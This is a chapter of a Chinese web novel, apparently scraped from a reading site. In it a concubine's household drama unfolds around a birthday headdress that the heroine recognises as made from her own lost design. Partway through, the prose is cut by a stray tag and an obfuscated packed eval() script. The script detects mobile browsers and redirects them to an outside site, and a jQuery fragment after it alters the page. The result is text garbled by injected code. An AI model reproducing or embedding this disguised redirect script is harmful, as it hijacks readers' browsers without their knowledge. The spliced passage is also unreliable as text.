21. 021

作品:《禁欢

    绾筠尚未反应过来,兰安儿反倒是惊愕,“国公爷同我们一起,可是,可是国公爷不是在处置……”她速而息声。


    继夫人知她所指,冷冷一斥,“国公爷公务,岂是你能置喙的!”


    见兰安儿稍伏低,她才又道,“国公爷忙了数日,此次与我们二房同去祈福,是休息,也是为我们震慑宵小之意,你们可老实些,太子已经被废,收了你们的小心思。”


    *


    到了出府的那日,绾筠和兰安儿带着丫鬟早早去了锦和苑,继夫人也装扮得贵气,意外的,沐雨汐也在,她的神情很是沮丧,又缠在继夫人身边,不知继夫人同她说什么,险些都发了火,但沐雨汐就是不应。


    绾筠和兰安儿在外等着,兰安儿还低声讽道,“这大小姐倒是正当自己是大小姐了,你瞧她头上戴着的,南海的绡珠,真不怕别人瞧见,说她撑不起这奢贵。”


    绾筠没有接她的话,只提醒她小声些,人要出来了。


    继夫人和沐雨汐一同出了正堂,显然继夫人要带沐雨汐一同去广慈寺。


    她目光在绾筠和兰安儿身上划过,只落了一句,“先随我去一趟寿康堂,我辞别老夫人,咱们再动身。”


    她在前走着,沐雨汐连挽着继夫人,路过二人时,没有多给多少眼神,只一眼落在绾筠身上时落下几分惊艳。


    绾筠附着礼节的笑意微微见礼,她便撇过脸去。


    绾筠和兰安儿是进不了寿康堂正屋的,她们只能在门口候着。


    几人到的时候,老夫人正倚在正榻上同柳姨娘说话。


    柳姨娘是戎恒佑的母亲,和前国公爷青梅竹马,后来家族蒙难,孤身一人,被前国公爷纳为妾室,因着从前的关系,再加上前国公爷看重、夫人也和善,在戎国公府上颇有地位,不是平常姨娘。


    继夫人私设家产被夺了管家权后,戎国公府的内务便交给了老夫人,但老夫人年事已高,柳姨娘便在旁多帮扶。


    继夫人落了一眼过去,瞧着柳姨娘满身贵气的模样,心里便不痛快,但她面上丝毫不能显露,只能恭恭敬敬向老夫人请安。


    沐雨汐在旁也礼身,她性子活跃,这会儿满口的孝敬话,老夫人对她很是喜爱,堆起笑,招呼她近前。


    柳姨娘瞧着沐雨汐在老夫人面前得意,眸子微微一冷,嘴上却堆起笑。


    “老夫人,今儿倒是巧了,早上老冯家的来说,您寿宴的头面已经制好了。”


    “哦?”老夫人也是好奇,“快拿上来我看看。”


    绾筠当时的头面图样,继夫人自然不会安排,她本就是打着磋磨绾筠的意图,她让人制得是事先备好的图样,只是第二日就被田嬷嬷告发,这些安排都落到柳姨娘手上,谁知道她又如何摆弄。


    这会儿,继夫人一瞧柳姨娘早不现晚不现,偏偏这时候端上来,明摆着讨欢心炫耀之意,她便恨得牙痒痒,却又阻止不得什么。


    绾筠听见说起头面之时,也起了几分好奇,试探着往屋里看去。


    只见丫鬟端着覆上红绸的物件上来,在老夫人面前半蹲下,柳姨娘笑盈盈礼身,“还请老夫人亲自过目。”


    “神神秘秘的。”老夫人笑着,“让我看看是什么好东西。”


    红绸被老夫人掀开,红绸下呈现出精致华贵的头面,仙鹤相拱,寿山七彩,祥和之气氤氲拂开。


    绾筠一怔,这不是她画中头面的实物吗?


    即使实物与画样有些许细节的出入,但只一眼,绾筠便确定这头面一定是依着她的画样制作出来的,可是画样应当被继夫人扣下来,又怎么会这么紧的时间制成实物。


    那面前这头面……


    老夫人显然对这头面欢喜至极,满眼都是笑容,细细打量着头面,连连说着好,连着旁边人也露出惊艳。


    也就继夫人跟着惊愕,她显然也看出了这实物与绾筠画样的相似,下意识的,她往绾筠方向投去一眼,是在怀疑绾筠难不成在国公府还有其他门路。


    绾筠毫不在意继夫人的目光,她现在只想知道这实物如何制成的。


    就在这时,柳姨娘炫耀式的说着,“妾身瞧着老夫人定是喜欢这头面了,这是国公爷特意命人制得。还以为国公爷在外操持,不在意女人家的饰品,却没想到带回来的东西竟这般惊艳。”


    “是极好的。这头面制得大气,样式也新颖免俗。”


    老夫人喜意甚浓,招呼着身边的丫鬟帮她佩戴试试,两边丫鬟应声而来,手脚稳当又细致地帮老夫人佩戴着。


    老夫人便继续同柳姨娘说着,“恒钺一直都是细心人,就是你们瞧着他冷面,听着他过往杀了多少人,就觉得他凶神恶煞,都是听风就是雨,头发长见识短。”


    柳姨娘被老夫人带笑着熊了一句,也不掉面子,继续讨好着,“是是是,老夫人说的是,我也是现在才知道。这头面,听说是国公爷专门请人从陵城画得纸样,又请了制冠大家亲手制得。”


    陵城?绾筠心跳忽然加快。


    “陵城?我知道,就是那饰品之乡的县城,前几年还特意搜罗了些,我瞧着是各个精巧。若是我再年轻几岁,必要日日换着佩戴。”


    继夫人听着提及陵城,心里越发古怪,也总不能让柳姨娘一直搭话,便抢着柳姨娘讨好前,哄着老夫人,“老夫人说得哪里话,您可不老,这头面一戴更显年轻了几岁,不信,你让丫鬟拿小镜细细一看。”


    “哦?快拿镜来。”头面带好,老夫人下意识扶了扶头上,稳稳当当,手艺极佳,各种饰品配上,头上也不觉笨重,老夫人接过丫鬟递来的铜镜,照面一看,容颜焕发,精神烁立,登时更加喜笑颜开。


    “我瞧着这手艺甚好,而且似曾相识,似乎跟恒钺前些年带回来的类似。”


    绾筠深往里看了一眼,即使现在还没有弄清这头面的来历,但想着自己亲笔画出的头面落成实物,又配在老夫人头上,心中也涌出喜意,宝面配寿星,不得不说真真是合适的。


    “对了,叫什么云梦阁,恒钺说阁里有一位画师,画技最好,画出的头面饰品,满江南找不出其二,好像叫梦月。”


    孙媳妇笑着,重重应了一声,“老夫人记性真好,大哥说,这头面的画师便是这个名。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132254|164407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    绾筠心头颤抖的厉害,耳边还是老夫人的应和,“对了,这般画技精巧的女子,必是个奇人,可惜请不来丰都。”


    绾筠低下头,什么声音都进不了耳里,满心满眼的惊愕。


    无他,梦月便是她,梦是梦,月是娘亲的名,而云梦阁原名绣梦阁,是娘亲未嫁人时私下弄的小作坊,梦月不存在过江南,而云梦阁原身的绣梦阁,早在二十多年前烟消云散。


    母亲死后,她被家族作瘦马调教,很长一段时间,她都在幻想,若是有一日能摆脱连家对她的安排,她便脱离出连家,开一间饰品店铺,店铺名字便叫云梦阁,她的名字也摆脱连家的影子,化成梦月,从此之后,她便是她,而不是被安排的棋子。


    可是这个梦终究没有落地,更是在连家大难之后破碎的更加彻底。


    而云梦阁和梦月这两个名字唯一一次出现在现实了,是绾筠为了遮掩手上金镯的来历,不想让人知道这是她所画、所制,所以告诉别人的借口。


    但所有人以为是借口,霍挚确是知道。


    绾筠握着手腕上的金镯,在别院别院的日子,绾筠并不想收霍挚赐下的种种金银珠翠,便有一次借口说,她不喜欢这些,只喜欢云梦阁的首饰。


    明明只是借口,霍挚却当了真,寻遍了江南后,终于发现这是绾筠的诡骗,当夜把绾筠压在床上,调笑着问绾筠,云梦阁在哪,梦月又是谁。


    绾筠不回答,他的手便作怪的按在绾筠心口,揉得绾筠身子彻底酥软,连连求饶。


    他噙着笑咬着,“在哪?在绾绾心上?”


    绾筠呜咽着,只能认了。


    这一刻,绾筠不用深想,也知道这从被毁的纸样变成活生生的头面,其中必是霍挚的安排。


    定是那天晚上,她熬夜睡得沉了,霍挚来了,将她抱上了床榻,还看见了那副刚刚画好的头面式样。


    也不知霍挚是夜里拿去给人临摹了一份,还是他见式样被毁了便仿了一份,再由专业的工匠连日打造出来,而后交给了国公爷,让国公爷补上头面缺失空缺,这是合理的。


    这一瞬,绾筠心口颤动。


    好像世间真的存在过梦月,将母亲曾经的愿落成现实。


    继夫人有些不自在了,她当日被卸了管家之责,头面缺漏的摊子还甩在那,虽然没让她手下的产业借此东风,但她也乐于见到柳姨娘焦头烂额,却没有想到国公爷竟然帮着柳姨娘,不仅弄出来了老夫人满意的头面,这头面更是她让刘嬷嬷故意扣下的。


    这就像是在打她的脸。


    她起身,敛去神色,“老夫人大喜,没人比的了国公爷的孝心。媳妇力薄,只一颗赤心上广慈寺替老夫人祈福了。”


    老夫人想起这回事,“是了,你们今日就要去了。我本来也想同你们去的,上上香,拜拜菩萨也是极好的,可惜老了,走不动到了。”


    “老夫人快别这么说,老夫人歇着几天,过了大寿便生龙活虎。”沐雨汐的嘴被她娘更甜些。


    哄得老夫人满脸笑意,玩乐得拍了拍沐雨汐,便嘱咐她们路上小心些,“快去吧。”